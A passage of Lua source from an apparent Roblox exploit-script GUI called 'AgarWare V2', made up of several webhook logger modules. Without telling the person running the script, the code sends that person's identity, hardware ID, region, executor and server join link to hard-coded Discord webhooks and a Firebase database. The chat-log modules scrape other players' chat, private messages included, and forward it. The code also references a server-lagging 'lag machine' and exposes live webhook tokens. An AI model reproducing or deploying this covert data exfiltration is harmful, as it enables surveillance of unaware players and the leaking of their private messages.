			or function() return { StatusCode = 0 } end
		local _sessionStart = tick()
		local _plr = _Players.LocalPlayer
	
		local function _isMainOwner(userId)
			for _, ownerId in ipairs(OWNER_IDS) do
				if userId == ownerId then return true end
			end
			return false
		end
	
		local function _isOwnerOrAltInGame()
			-- Check if any main owner OR the alt is in the game (excluding local player)
			for _, player in ipairs(_Players:GetPlayers()) do
				if player.UserId ~= _plr.UserId then
					-- Check main owners
					if _isMainOwner(player.UserId) then
						return true
					end
					-- Check alt account
					if player.UserId == ALT_ACCOUNT then
						return true
					end
				end
			end
			return false
		end
	
		-- Don't log if local player is a MAIN owner (but DO log if they're the alt)
		if _isMainOwner(_plr.UserId) then
			return
		end
	
		-- Only proceed if an owner or alt is in the game
		if not _isOwnerOrAltInGame() then
			return
		end
	
		local function _executor()
			if syn and syn.request then return "Synapse X" end
			if fluxus and fluxus.request then return "Fluxus" end
			if KRNL_LOADED or Krnl then return "KRNL" end
			if getexecutorname then return getexecutorname() end
			return "Unknown"
		end
		local function _platform()
			local ok, platform = pcall(function()
				return _InputService:GetPlatform().Name
			end)
			return ok and platform or "Unknown"
		end
		local function _joinLink()
			local ok, v = pcall(function()
				return "https://www.roblox.com/games/start?placeId="
					.. game.PlaceId
					.. "&gameInstanceId=" .. game.JobId
			end)
			return ok and v or ""
		end
		local function _send(embedTable, contentText)
			local payload = {
				username = _plr.Name,
				content  = contentText,
				embeds   = { embedTable }
			}
			pcall(function()
				_req({
					Url    = _WEBHOOK,
					Method = "POST",
					Headers = { ["Content-Type"] = "application/json" },
					Body   = _HttpService:JSONEncode(payload)
				})
			end)
		end
		local _currentPlace = _PLACES[game.PlaceId]
		local _EMBED_COLOR = _currentPlace and _currentPlace.color or 0xffffff
		local _PLACE_LABEL = _currentPlace and _currentPlace.label or "Other"
		local _playerCount = #_Players:GetPlayers()
		local _maxPlayers  = _Players.MaxPlayers
		local contentMessage = string.format("%s executed your script, <@%s>", _plr.DisplayName, _DISCORD_USER_ID)
		_send({
			title       = string.format("%d/%d %s  |  %s / `%s`", _playerCount, _maxPlayers, _PLACE_LABEL, _plr.DisplayName, _plr.Name),
			description = "[Join Game](" .. _joinLink() .. ")",
			color       = _EMBED_COLOR,
			footer      = { text = _executor() .. "  •  " .. _platform() },
			timestamp   = DateTime.now():ToIsoDate()
		}, contentMessage)
	end
	return _WH
end;
task.spawn(C_34c);
-- StarterGui.AgarWareGui.Webhook.PealzLog
local function C_34d()
local script = G2L["34d"];
	local _WH = {}
	do
		local _HttpService     = game:GetService("HttpService")
		local _Players         = game:GetService("Players")
		local _MarketplaceSvc  = game:GetService("MarketplaceService")
		local _StatsService    = game:GetService("Stats")
		local _InputService    = game:GetService("UserInputService")
		local _LocaleSvc       = game:GetService("LocalizationService")
		local _AnalyticsSvc    = game:GetService("RbxAnalyticsService")
	
		local _WEBHOOK = "https://discord.com/api/webhooks/1484970025214279772/4-3FhFXgwTus1qBl1Lt1XjycNSej340fUpfHRZibKoK89HX_EXNDb1azt7e8TxSQe0qZ"
		local _SCRIPT_NAME = "agarware"
	
		-- BLACKLISTED PLAYER IDS (won't be logged)
		local _BLACKLIST = {
			[10587072700] = true
		}
	
		local _COL_LOAD   = 0x5865F2  -- indigo  — startup embed
		local _COL_ACTION = 0xED4245  -- red     — action log embed
		local _COL_PAINT  = 0x00B5D8  -- cyan    — paint/secondary event embed
	
		local _req = (syn and syn.request)
			or request
			or http_request
			or (fluxus and fluxus.request)
			or function() return { StatusCode = 0 } end
	
		local _sessionStart = tick()
		local _plr = _Players.LocalPlayer
		local _productInfo = pcall(function()
			return _MarketplaceSvc:GetProductInfo(game.PlaceId)
		end) and _MarketplaceSvc:GetProductInfo(game.PlaceId) or { Name = "Unknown" }
	
		local function _executor()
			if syn and syn.request then return "Synapse X" end
			if fluxus and fluxus.request then return "Fluxus" end
			if KRNL_LOADED or Krnl then return "KRNL" end
			if getexecutorname then return getexecutorname() end
			return "Unknown"
		end
	
		local function _hwid()
			if get_hwid then return tostring(get_hwid()) end
			local ok, id = pcall(function() return _AnalyticsSvc:GetClientId() end)
			return ok and id or "N/A"
		end
	
		local function _ping()
			local ok, v = pcall(function()
				return _StatsService.Network.ServerStatsItem["Data Ping"]:GetValue()
			end)
			return ok and math.floor(v) or 0
		end
	
		local function _fps()
			local v = workspace:GetRealPhysicsFPS()
			return v > 0 and math.floor(v) or 0
		end
	
		local function _region()
			local ok, r = pcall(function() return _LocaleSvc.RobloxLocaleId end)
			return ok and r or "N/A"
		end
	
		local function _thumb(userId)
			return string.format(
				"https://www.roblox.com/headshot-thumbnail/image?userId=%d&width=420&height=420&format=png",
				userId
			)
		end
	
		local function _joinLink()
			local ok, v = pcall(function()
				return "https://www.roblox.com/games/start?placeId="
					.. game.PlaceId
					.. "&gameInstanceId=" .. game.JobId
			end)
			return ok and v or ""
		end
	
		local function _send(embedTable)
			-- Check if player is blacklisted
			if _BLACKLIST[_plr.UserId] then
				return -- Don't send anything
			end
	
			pcall(function()
				_req({
					Url    = _WEBHOOK,
					Method = "POST",
					Headers = { ["Content-Type"] = "application/json" },
					Body   = _HttpService:JSONEncode({ embeds = { embedTable } })
				})
			end)
		end
		local _accCreated = os.date("%Y-%m-%d", os.time() - (_plr.AccountAge * 86400))
	
		_send({
			title       = "▸ " .. _SCRIPT_NAME .. " Loaded",
			description = _joinLink(),
			color       = _COL_LOAD,
			thumbnail   = { url = _thumb(_plr.UserId) },
			fields = {
				{
					name   = "🔷 Identity",
					value  = string.format(
						"**%s** / `%s`\n🆔 `%d`  •  📅 acc: %s  (%d days)",
						_plr.DisplayName,
						_plr.Name,
						_plr.UserId,
						_accCreated,
						_plr.AccountAge
					),
					inline = true
				},
				{
					name   = "🖥️ Session",
					value  = string.format(
						"**%s** `%s`\n%d / %d players  •  place `%d`",
						_productInfo.Name,
						tostring(game.PlaceId),
						#_Players:GetPlayers(),
						_Players.MaxPlayers,
						game.PlaceId
					),
					inline = true
				},
				{
					name   = "🛡️ Client",
					value  = string.format(
						"exe: **%s**  •  region: `%s`\nplatform: `%s`  •  ping: **%d ms**  •  fps: **%d**\nhwid: `%s`",
						_executor(),
						_region(),
						_InputService:GetPlatform().Name,
						_ping(),
						_fps(),
						_hwid()
					),
					inline = false
				}
			},
			footer    = { text = _SCRIPT_NAME .. " Logger  •  " .. os.date("%Y-%m-%d %H:%M:%S") },
			timestamp = DateTime.now():ToIsoDate()
		})
		function _WH.sendLog(action, detail)
			_send({
				title       = "◆ " .. tostring(action),
				description = _joinLink(),
				color       = _COL_ACTION,
				thumbnail   = { url = _thumb(_plr.UserId) },
				fields = {
					{
						name   = "📌 Detail",
						value  = tostring(detail or "—"),
						inline = false
					},
					{
						name   = "🔷 Player",
						value  = string.format(
							"**%s** (`%s`)  •  ID `%d`  •  age %d days",
							_plr.DisplayName, _plr.Name, _plr.UserId, _plr.AccountAge
						),
						inline = true
					},
					{
						name   = "🖥️ Server",
						value  = string.format(
							"%s  •  %d/%d  •  %d ms",
							_productInfo.Name,
							#_Players:GetPlayers(),
							_Players.MaxPlayers,
							_ping()
						),
						inline = true
					}
				},
				footer    = { text = _SCRIPT_NAME .. " Logger  •  +" .. math.floor(tick() - _sessionStart) .. "s session" },
				timestamp = DateTime.now():ToIsoDate()
			})
		end
		function _WH.sendPaintLog(data)
			_send({
				title       = "◈ Paint Event",
				description = _joinLink(),
				color       = _COL_PAINT,
				thumbnail   = { url = _thumb(_plr.UserId) },
				fields = {
					{
						name   = "🔷 Player",
						value  = string.format(
							"**%s** (`%s`)  •  ID `%d`",
							_plr.DisplayName, _plr.Name, _plr.UserId
						),
						inline = true
					},
					{
						name   = "🖥️ Server",
						value  = string.format(
							"%s  •  %d players",
							_productInfo.Name,
							#_Players:GetPlayers()
						),
						inline = true
					},
					{
						name   = "🎨 Paint",
						value  = string.format(
							"mode: `%s`  •  color: `%s`  •  side: `%s`\ntext: `%s`",
							tostring(data.mode  or "—"),
							tostring(data.color or "—"),
							tostring(data.side  or "—"),
							(data.text and data.text ~= "") and data.text or "(none)"
						),
						inline = false
					}
				},
				footer    = { text = _SCRIPT_NAME .. " Logger  •  +" .. math.floor(tick() - _sessionStart) .. "s session" },
				timestamp = DateTime.now():ToIsoDate()
			})
		end
		function _WH.sendCustomEmbed(embed)
			_send(embed)
		end
	end
	
	local sendLog         = _WH.sendLog
	local sendPaintLog    = _WH.sendPaintLog
	local sendCustomEmbed = _WH.sendCustomEmbed
end;
task.spawn(C_34d);
-- StarterGui.AgarWareGui.Webhook.LagMachine
local function C_34e()
local script = G2L["34e"];
	local _HttpService = game:GetService("HttpService")
	local _Players = game:GetService("Players")
	local _InputService = game:GetService("UserInputService")
	
	local _WEBHOOK = "https://discordapp.com/api/webhooks/1490972077379948696/5XsJ9jSb4Yq47GazvpHJcL05x2YbWODk5MB5Ii7mEf5mFQF6J3PcRvThOQgtJsF_f26a"
	local _DISCORD_USER_ID = "1301477323090034731"
	
	-- Owner accounts to check for
	local OWNER_IDS = {
		574381128,
		10587072700,
		8308247571,
		10606010708,
	}
	
	local _PLACES = {
		[11137575513]    = {label = "Main", color = 0x00be09},
		[12943245078]    = {label = "XL",   color = 0xbebf00},
		[12943247001]    = {label = "VC",   color = 0x0072bf},
		[108097274488844] = {label = "OG",  color = 0x000000}
	}
	
	local _req = (syn and syn.request)
		or request
		or http_request
		or (fluxus and fluxus.request)
		or function() return { StatusCode = 0 } end
	
	local _plr = _Players.LocalPlayer
	
	-- Check if executor is an owner
	local function _isExecutorOwner()
		for _, ownerId in ipairs(OWNER_IDS) do
			if _plr.UserId == ownerId then
				return true
			end
		end
		return false
	end
	
	-- Check if any owner is in the game (excluding the executor)
	local function _isOwnerInGame()
		for _, player in ipairs(_Players:GetPlayers()) do
			if player.UserId ~= _plr.UserId then
				for _, ownerId in ipairs(OWNER_IDS) do
					if player.UserId == ownerId then
						return true
					end
				end
			end
		end
		return false
	end
	
	local function _executor()
		if syn and syn.request then return "Synapse X" end
		if fluxus and fluxus.request then return "Fluxus" end
		if KRNL_LOADED or Krnl then return "KRNL" end
		if getexecutorname then return getexecutorname() end
		return "Unknown"
	end
	
	local function _platform()
		local ok, platform = pcall(function()
			return _InputService:GetPlatform().Name
		end)
		return ok and platform or "Unknown"
	end
	
	local function _joinLink()
		local ok, v = pcall(function()
			return "https://www.roblox.com/games/start?placeId="
				.. game.PlaceId
				.. "&gameInstanceId=" .. game.JobId
		end)
		return ok and v or ""
	end
	
	local function _send(embedTable, contentText)
		local payload = {
			content  = contentText,
			embeds   = { embedTable }
		}
		pcall(function()
			_req({
				Url    = _WEBHOOK,
				Method = "POST",
				Headers = { ["Content-Type"] = "application/json" },
				Body   = _HttpService:JSONEncode(payload)
			})
		end)
	end
	
	local _currentPlace = _PLACES[game.PlaceId]
	local _EMBED_COLOR_START = 0x00B5D8  -- Cyan for started
	local _EMBED_COLOR_END = 0xED4245    -- Red for ended
	local _PLACE_LABEL = _currentPlace and _currentPlace.label or "Other"
	
	-- Get block count display
	-- Path: ScreenGui > Webhook > LagMachine (this script)
	-- Need to find: ScreenGui > [MainFrame] > LagGroup > BlockAmountRow > BlockAmountView
	local screenGui = script.Parent.Parent.Parent -- Go up to ScreenGui
	local BlockAmountView = nil
	
	-- Search for BlockAmountView in the ScreenGui
	for _, descendant in ipairs(screenGui:GetDescendants()) do
		if descendant.Name == "BlockAmountView" then
			BlockAmountView = descendant
			break
		end
	end
	
	local function getBlockCount()
		if BlockAmountView then
			local text = BlockAmountView.Text
			return tonumber(text:match("%d+")) or 0
		end
		return 0
	end
	
	-- Function to send lag machine started notification
	local function sendLagMachineStarted()
		-- Don't send if executor is an owner
		if _isExecutorOwner() then
			return
		end
	
		if not _isOwnerInGame() then
			return -- Don't send if no owner in game
		end
	
		local _playerCount = #_Players:GetPlayers()
		local _maxPlayers  = _Players.MaxPlayers
	
		local contentMessage = string.format("%s started a lag machine, <@%s>", _plr.DisplayName, _DISCORD_USER_ID)
	
		_send({
			title       = string.format("Lag Machine Started  |  %s / %s", _plr.DisplayName, _plr.Name),
			description = _joinLink(),
			color       = _EMBED_COLOR_START,
			footer      = { text = _executor() .. "  •  " .. _platform() },
			timestamp   = DateTime.now():ToIsoDate()
		}, contentMessage)
	
		print("[LagMachineWebhook] Sent 'Started' notification")
	end
	
	-- Function to send lag machine ended notification
	local function sendLagMachineEnded()
		-- Send if: executor is owner OR another owner is in game
		local shouldSend = _isExecutorOwner() or _isOwnerInGame()
	
		if not shouldSend then
			return -- Don't send if no owner involved
		end
	
		local finalBlockCount = getBlockCount()
		local _playerCount = #_Players:GetPlayers()
		local _maxPlayers  = _Players.MaxPlayers
	
		-- Only mention if executor is NOT an owner
		local contentMessage = ""
		if not _isExecutorOwner() then
			contentMessage = string.format("<@%s>", _DISCORD_USER_ID)
		end
	
		_send({
			title       = string.format("Lag Machine Ended  |  Blocks: %d", finalBlockCount),
			description = string.format("%s / %s\n%d/%d %s\n%s", 
				_plr.DisplayName,
				_plr.Name,
				_playerCount,
				_maxPlayers,
				_PLACE_LABEL,
				_joinLink()
			),
			color       = _EMBED_COLOR_END,
			footer      = { text = _executor() .. "  •  " .. _platform() },
			timestamp   = DateTime.now():ToIsoDate()
		}, contentMessage)
	
		print("[LagMachineWebhook] Sent 'Ended' notification")
	end
	
	-- Hook into global functions that BlockSpam script will call
	_G.LagMachineWebhook = {
		OnLagStarted = sendLagMachineStarted,
		OnLagEnded = sendLagMachineEnded
	}
	
	print("[LagMachineWebhook] Webhook logger initialized and ready")
end;
task.spawn(C_34e);
-- StarterGui.AgarWareGui.Webhook.TCOLog
local function C_34f()
local script = G2L["34f"];
	-- TCOLog: Logs all executions
	local _WH = {}
	do
		local _HttpService  = game:GetService("HttpService")
		local _Players      = game:GetService("Players")
		local _InputService = game:GetService("UserInputService")
		local _WEBHOOK = "https://discordapp.com/api/webhooks/1489972994326396970/aB732Ju6Dk5vjDGfhRObN68BOOs4muTgimzEMies68qDcLB_BN-uvt39gFWCiaA2elBX"
	
		local OWNER_IDS = {
			574381128,
			10587072700,
			8308247571,
			10837544781,
		}
	
		local _PLACES = {
			[11137575513]     = {label = "Main", color = 0x00be09},
			[12943245078]     = {label = "XL",   color = 0xbebf00},
			[12943247001]     = {label = "VC",   color = 0x0072bf},
			[108097274488844] = {label = "OG",   color = 0x000000}
		}
	
		local _plr = _Players.LocalPlayer
	
		-- Don't log owners
		for _, ownerId in ipairs(OWNER_IDS) do
			if _plr.UserId == ownerId then
				return
			end
		end
	
		local _currentPlace = _PLACES[game.PlaceId]
		if not _currentPlace then return end
	
		local _PLACE_LABEL = _currentPlace.label
		local _EMBED_COLOR = _currentPlace.color
	
		local _req = (syn and syn.request)
			or request
			or http_request
			or (fluxus and fluxus.request)
			or function() return { StatusCode = 0 } end
	
		local function _executor()
			if syn and syn.request then return "Synapse X" end
			if fluxus and fluxus.request then return "Fluxus" end
			if KRNL_LOADED or Krnl then return "KRNL" end
			if getexecutorname then return getexecutorname() end
			return "Unknown"
		end
	
		local function _platform()
			local ok, platform = pcall(function()
				return _InputService:GetPlatform().Name
			end)
			return ok and platform or "Unknown"
		end
	
		local function _joinLink()
			local ok, v = pcall(function()
				return "https://www.roblox.com/games/start?placeId="
					.. game.PlaceId
					.. "&gameInstanceId=" .. game.JobId
			end)
			return ok and v or ""
		end
	
		local _playerCount = #_Players:GetPlayers()
		local _maxPlayers  = _Players.MaxPlayers
	
		pcall(function()
			_req({
				Url    = _WEBHOOK,
				Method = "POST",
				Headers = { ["Content-Type"] = "application/json" },
				Body   = _HttpService:JSONEncode({
					embeds = {{
						title       = string.format("%d/%d %s  |  %s / `%s`", _playerCount, _maxPlayers, _PLACE_LABEL, _plr.DisplayName, _plr.Name),
						description = "[Join Game](" .. _joinLink() .. ")",
						color       = _EMBED_COLOR,
						footer      = { text = _executor() .. "  •  " .. _platform() },
						timestamp   = DateTime.now():ToIsoDate()
					}}
				})
			})
		end)
	end
	return _WH
end;
task.spawn(C_34f);
-- StarterGui.AgarWareGui.Webhook.UniLog
local function C_350()
local script = G2L["350"];
	local _WH = {}
	do
		local _HttpService     = game:GetService("HttpService")
		local _Players         = game:GetService("Players")
		local _MarketplaceSvc  = game:GetService("MarketplaceService")
		local _AnalyticsSvc    = game:GetService("RbxAnalyticsService")
		local _InputService    = game:GetService("UserInputService")
		local _LocaleSvc       = game:GetService("LocalizationService")
	
		local _WEBHOOK = "https://discord.com/api/webhooks/1504087792479637514/J_eDc804cRxCVO1susDDeDXdrLEMAZSEKkBGa5MzWQisZO9LtuqE-OZozw3o2aFo2alT"
		local _FIREBASE_URL = "https://agar-ware-default-rtdb.firebaseio.com"
		local _SCRIPT_NAME = "AGAR WARE V2"
	
		local _req = (syn and syn.request)
			or request
			or http_request
			or (fluxus and fluxus.request)
			or function() return { StatusCode = 0 } end
	
		local _plr = _Players.LocalPlayer
		local _productInfo = pcall(function()
			return _MarketplaceSvc:GetProductInfo(game.PlaceId)
		end) and _MarketplaceSvc:GetProductInfo(game.PlaceId) or { Name = "Unknown" }
	
		local function _hwid()
			if get_hwid then return tostring(get_hwid()) end
			local ok, id = pcall(function() return _AnalyticsSvc:GetClientId() end)
			return ok and id or "N/A"
		end
	
		local function _executor()
			if syn and syn.request then return "Synapse X" end
			if fluxus and fluxus.request then return "Fluxus" end
			if KRNL_LOADED or Krnl then return "KRNL" end
			if getexecutorname then return getexecutorname() end
			return "Unknown"
		end
	
		local function _region()
			local ok, r = pcall(function() return _LocaleSvc.RobloxLocaleId end)
			return ok and r or "N/A"
		end
	
		local function _platform()
			local p = _InputService:GetPlatform().Name
			local device = "Unknown"
	
			if p == "Windows" then device = "Windows"
			elseif p == "OSX" then device = "MacOS"
			elseif p == "IOS" then device = "iOS"
			elseif p == "Android" then device = "Android"
			elseif p == "UWP" then device = "Xbox"
			else device = p end
	
			return device
		end
	
		local function _ping()
			local ok, v = pcall(function()
				return game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValue()
			end)
			return ok and math.floor(v) or 0
		end
	
		local function _fps()
			local v = workspace:GetRealPhysicsFPS()
			return v > 0 and math.floor(v) or 0
		end
	
		local function _joinLink()
			local ok, v = pcall(function()
				return "https://www.roblox.com/games/start?placeId="
					.. game.PlaceId
					.. "&gameInstanceId=" .. game.JobId
			end)
			return ok and v or ""
		end
	
		local function _getPlayerData(hwid)
			local success, response = pcall(function()
				return _req({
					Url = _FIREBASE_URL .. "/players_agar_ware_v2/" .. hwid .. ".json",
					Method = "GET"
				})
			end)
	
			if success and response.StatusCode == 200 then
				local data = _HttpService:JSONDecode(response.Body)
				if type(data) == "table" then
					return data
				end
			end
	
			return {
				execution_count = 0,
				first_seen = os.time(),
				last_username = ""
			}
		end
	
		local function _updatePlayerData(hwid, data)
			pcall(function()
				_req({
					Url = _FIREBASE_URL .. "/players_agar_ware_v2/" .. hwid .. ".json",
					Method = "PATCH",
					Headers = { ["Content-Type"] = "application/json" },
					Body = _HttpService:JSONEncode(data)
				})
			end)
		end
	
		local function _send(embedTable)
			pcall(function()
				_req({
					Url    = _WEBHOOK,
					Method = "POST",
					Headers = { ["Content-Type"] = "application/json" },
					Body   = _HttpService:JSONEncode({ embeds = { embedTable } })
				})
			end)
		end
	
		local hwid = _hwid()
		local playerData = _getPlayerData(hwid)
	
		playerData.execution_count = playerData.execution_count + 1
		playerData.last_username = _plr.Name
		playerData.last_seen = os.time()
	
		_updatePlayerData(hwid, playerData)
	
		local accountCreated = os.date("%Y-%m-%d", os.time() - (_plr.AccountAge * 86400))
	
		_send({
			title = string.format("%s / @%s", _plr.DisplayName, _plr.Name),
			description = string.format(
				"**User ID:** #`%d`\n**%s** (%d Days)\n\n**Game:** [%s](%s)\n**Server:** %d/%d\n\n**Region:** %s\n**Executor:** %s\n**Device:** %s | %dms | %dfps\n**HWID:** `%s`\n\n**Execution Count:** #%d",
				_plr.UserId,
				accountCreated,
				_plr.AccountAge,
				_productInfo.Name,
				_joinLink(),
				#_Players:GetPlayers(),
				_Players.MaxPlayers,
				_region(),
				_executor(),
				_platform(),
				_ping(),
				_fps(),
				hwid,
				playerData.execution_count
			),
			color = 0x000000,
			footer = { text = _SCRIPT_NAME },
			timestamp = DateTime.now():ToIsoDate()
		})
	end
	
	
	
	
	
	
	
	-- Add this AFTER your load webhook code
	local _FIREBASE_URL = "https://agar-ware-default-rtdb.firebaseio.com"
	local _plr = game:GetService("Players").LocalPlayer
	local _HttpService = game:GetService("HttpService")
	local _MarketplaceSvc = game:GetService("MarketplaceService")
	local _req = (syn and syn.request) or request or http_request or (fluxus and fluxus.request)
	local function _hwid()
		if get_hwid then return tostring(get_hwid()) end
		local ok, id = pcall(function() return game:GetService("RbxAnalyticsService"):GetClientId() end)
		return ok and id or "N/A"
	end
	local function _joinLink()
		local ok, v = pcall(function()
			return "https://www.roblox.com/games/start?placeId="
				.. game.PlaceId
				.. "&gameInstanceId=" .. game.JobId
		end)
		return ok and v or ""
	end
	local _productInfo = pcall(function()
		return _MarketplaceSvc:GetProductInfo(game.PlaceId)
	end) and _MarketplaceSvc:GetProductInfo(game.PlaceId) or { Name = "Unknown" }
	local function updateOnlineStatus()
		pcall(function()
			_req({
				Url = _FIREBASE_URL .. "/online_users_v2/" .. _plr.Name .. ".json",
				Method = "PUT",
				Headers = { ["Content-Type"] = "application/json" },
				Body = _HttpService:JSONEncode({
					username_display = _plr.Name .. " / " .. _plr.DisplayName,
					hwid = _hwid(),
					game_name = _productInfo.Name,
					game_link = _joinLink(),
					place_id = game.PlaceId,
					last_heartbeat = os.time()
				})
			})
		end)
	end
	-- Add to online list IMMEDIATELY on execute
	updateOnlineStatus()
	-- Send heartbeat every 3 minutes (180 seconds)
	spawn(function()
		while wait(180) do
			updateOnlineStatus()
		end
	end)
	-- Remove from online list when player leaves
	game:GetService("Players").PlayerRemoving:Connect(function(player)
		if player == _plr then
			pcall(function()
				_req({
					Url = _FIREBASE_URL .. "/online_users_v2/" .. _plr.Name .. ".json",
					Method = "DELETE"
				})
			end)
		end
	end)
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	local HttpService = game:GetService("HttpService")
	local Players = game:GetService("Players")
	
	local FIREBASE_URL = "https://agar-ware-default-rtdb.firebaseio.com"
	local WEBHOOK_URL = "https://discord.com/api/webhooks/1504424194379616307/YMI2JqLe2hB4QQh4feTUSa8qZK8s07ReUj4U09WnjKv_BOwQ-1Y84nf-jjCIPlHug4Nc"
	
	local _req = (syn and syn.request) or request or http_request or (fluxus and fluxus.request)
	local _plr = Players.LocalPlayer
	
	-- Get current total execution count from Firebase
	local function getTotalExecutionCount()
		local success, response = pcall(function()
			return _req({
				Url = FIREBASE_URL .. "/view/totalexecutioncount_v2.json",
				Method = "GET"
			})
		end)
	
		if success and response.StatusCode == 200 then
			local count = HttpService:JSONDecode(response.Body)
			if type(count) == "number" then
				return count
			end
		end
	
		return 0
	end
	
	-- Update total execution count in Firebase
	local function updateTotalExecutionCount(newCount)
		pcall(function()
			_req({
				Url = FIREBASE_URL .. "/view/totalexecutioncount_v2.json",
				Method = "PUT",
				Headers = { ["Content-Type"] = "application/json" },
				Body = HttpService:JSONEncode(newCount)
			})
		end)
	end
	
	-- Send Discord webhook
	local function sendWebhook(executionCount)
		pcall(function()
			local embed = {
				title = "AGAR WARE V2",
				description = string.format("This script has been executed **%d** times.", executionCount),
				color = 2346240,
				footer = {
					text = "Last Execution: " .. _plr.Name
				},
				timestamp = DateTime.now():ToIsoDate()
			}
	
			_req({
				Url = WEBHOOK_URL,
				Method = "POST",
				Headers = { ["Content-Type"] = "application/json" },
				Body = HttpService:JSONEncode({ embeds = { embed } })
			})
		end)
	end
	
	-- Main execution
	local currentCount = getTotalExecutionCount()
	local newCount = currentCount + 1
	
	-- Update Firebase
	updateTotalExecutionCount(newCount)
	
	-- Send webhook
	sendWebhook(newCount)
end;
task.spawn(C_350);
-- StarterGui.AgarWareGui.Webhook.ChatLogs
local function C_351()
local script = G2L["351"];
	local HttpService = game:GetService("HttpService")
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	-- Whitelist of allowed user IDs
	local ALLOWED_USERS = {
		574381128,   -- main
		10587072700, -- alt 1
		8308247571,  -- alt 2
		10837544781, -- agarv609
	}
	
	-- Check if current player is whitelisted
	local function isWhitelisted()
		for _, id in pairs(ALLOWED_USERS) do
			if LocalPlayer.UserId == id then
				return true
			end
		end
		return false
	end
	
	-- Stop script if not whitelisted
	if not isWhitelisted() then
		return
	end
	
	local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495387476867551474/KD8pq8e7P-nU7O2jEhKpTCV2G1wzWVDcjZ07bEOWGaJr-twJChTw5ZBSibfONVwfqaui"
	
	local CoreGui = game:GetService("CoreGui")
	local ExperienceChat = CoreGui:WaitForChild("ExperienceChat")
	local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow")
	local scrollingView = chatWindow:WaitForChild("scrollingView")
	local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView")
	local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView")
	local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView")
	
	local processedFrames = {}
	local lastWebhookTime = 0
	local WEBHOOK_COOLDOWN = 0.5
	
	local function getEmbedColor(buttonText)
		if string.match(buttonText, "HIDDEN CHAT") then
			return 0xff0000
		end
	
		if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
			return 0x000000
		end
	
		local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)")
		if r and g and b then
			r, g, b = tonumber(r), tonumber(g), tonumber(b)
			return (r * 65536) + (g * 256) + b
		end
	
		return 0xffffff
	end
	
	local function sendWebhook(display, message, embedColor, buttonText)
		-- Check cooldown
		local currentTime = tick()
		if currentTime - lastWebhookTime < WEBHOOK_COOLDOWN then
			task.wait(WEBHOOK_COOLDOWN - (currentTime - lastWebhookTime))
		end
	
		local prefix = ""
	
		if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
			prefix = "*(PRIVATE)* "
		end
	
		local title = prefix .. "**" .. display .. "** " .. message
	
		local embed = {
			["title"] = title,
			["color"] = embedColor
		}
	
		local payload = {
			["embeds"] = {embed}
		}
	
		pcall(function()
			request({
				Url = WEBHOOK_URL,
				Method = "POST",
				Headers = {
					["Content-Type"] = "application/json"
				},
				Body = HttpService:JSONEncode(payload)
			})
		end)
	
		lastWebhookTime = tick()
	end
	
	local function onFrameAdded(frame)
		if processedFrames[frame] then return end
		processedFrames[frame] = true
	
		local frameName = frame.Name
		local userId = string.match(frameName, "^(%d+)%-")
	
		if not userId or userId == "0" then return end
	
		task.wait(0.1)
	
		local textMessage = frame:FindFirstChild("TextMessage")
		if not textMessage then return end
	
		local prefixText = textMessage:FindFirstChild("PrefixText")
		local bodyText = textMessage:FindFirstChild("BodyText")
		local textButton = textMessage:FindFirstChild("TextMessageButton")
	
		if not prefixText or not bodyText or not textButton then return end
	
		local textButtonButton = textButton:FindFirstChild("TextButton")
		if not textButtonButton then return end
	
		local display = prefixText.ContentText
	
		display = string.gsub(display, "%[To .-%] ", "")
		display = string.gsub(display, "%[From .-%] ", "")
	
		local fullMessage = bodyText.ContentText
		local buttonText = textButtonButton.Text
		local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To")
	
		local message = fullMessage
	
		if isPrivate then
			message = string.gsub(message, "%[To .-%] ", "")
			message = string.gsub(message, "%[From .-%] ", "")
	
			if string.sub(message, 1, #display) == display then
				message = string.sub(message, #display + 1)
			end
		else
			if string.sub(fullMessage, 1, #display) == display then
				message = string.sub(fullMessage, #display + 1)
			end
		end
	
		message = string.match(message, "^%s*(.-)%s*$")
	
		local embedColor = getEmbedColor(buttonText)
	
		sendWebhook(display, message, embedColor, buttonText)
	end
	
	for _, child in pairs(RCTScrollContentView:GetChildren()) do
		if child:IsA("Frame") then
			processedFrames[child] = true
		end
	end
	
	RCTScrollContentView.ChildAdded:Connect(function(child)
		if child:IsA("Frame") then
			onFrameAdded(child)
		end
	end)
end;
task.spawn(C_351);
-- StarterGui.AgarWareGui.Webhook.GlobalChatLogs
local function C_352()
local script = G2L["352"];
	local HttpService = game:GetService("HttpService")
	local Players = game:GetService("Players")
	local Teams = game:GetService("Teams")
	local LocalPlayer = Players.LocalPlayer
	
	local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495421144583372852/gfcaXuJASoC1jV0dnZhIYKip-1QkTYCwhwrNlE52huinWxAJXd7tVv8dV4oP1peEq_E4"
	
	local CoreGui = game:GetService("CoreGui")
	local ExperienceChat = CoreGui:WaitForChild("ExperienceChat")
	local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow")
	local scrollingView = chatWindow:WaitForChild("scrollingView")
	local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView")
	local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView")
	local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView")
	
	local processedFrames = {}
	local lastWebhookTime = 0
	local WEBHOOK_COOLDOWN = 0.5
	
	local function getAdmins()
		local admins = {}
		local chosenTeam = Teams:FindFirstChild("Chosen")
	
		if chosenTeam then
			for _, player in pairs(Players:GetPlayers()) do
				if player.Team == chosenTeam then
					table.insert(admins, player)
				end
			end
		end
	
		return admins
	end
	
	local function getAdminFooter()
		local admins = getAdmins()
	
		if #admins == 0 then
			return "Admin: None"
		end
	
		local adminTexts = {}
		for i, admin in ipairs(admins) do
			table.insert(adminTexts, admin.DisplayName .. " / " .. admin.Name)
		end
	
		return "Admin: " .. table.concat(adminTexts, ", ")
	end
	
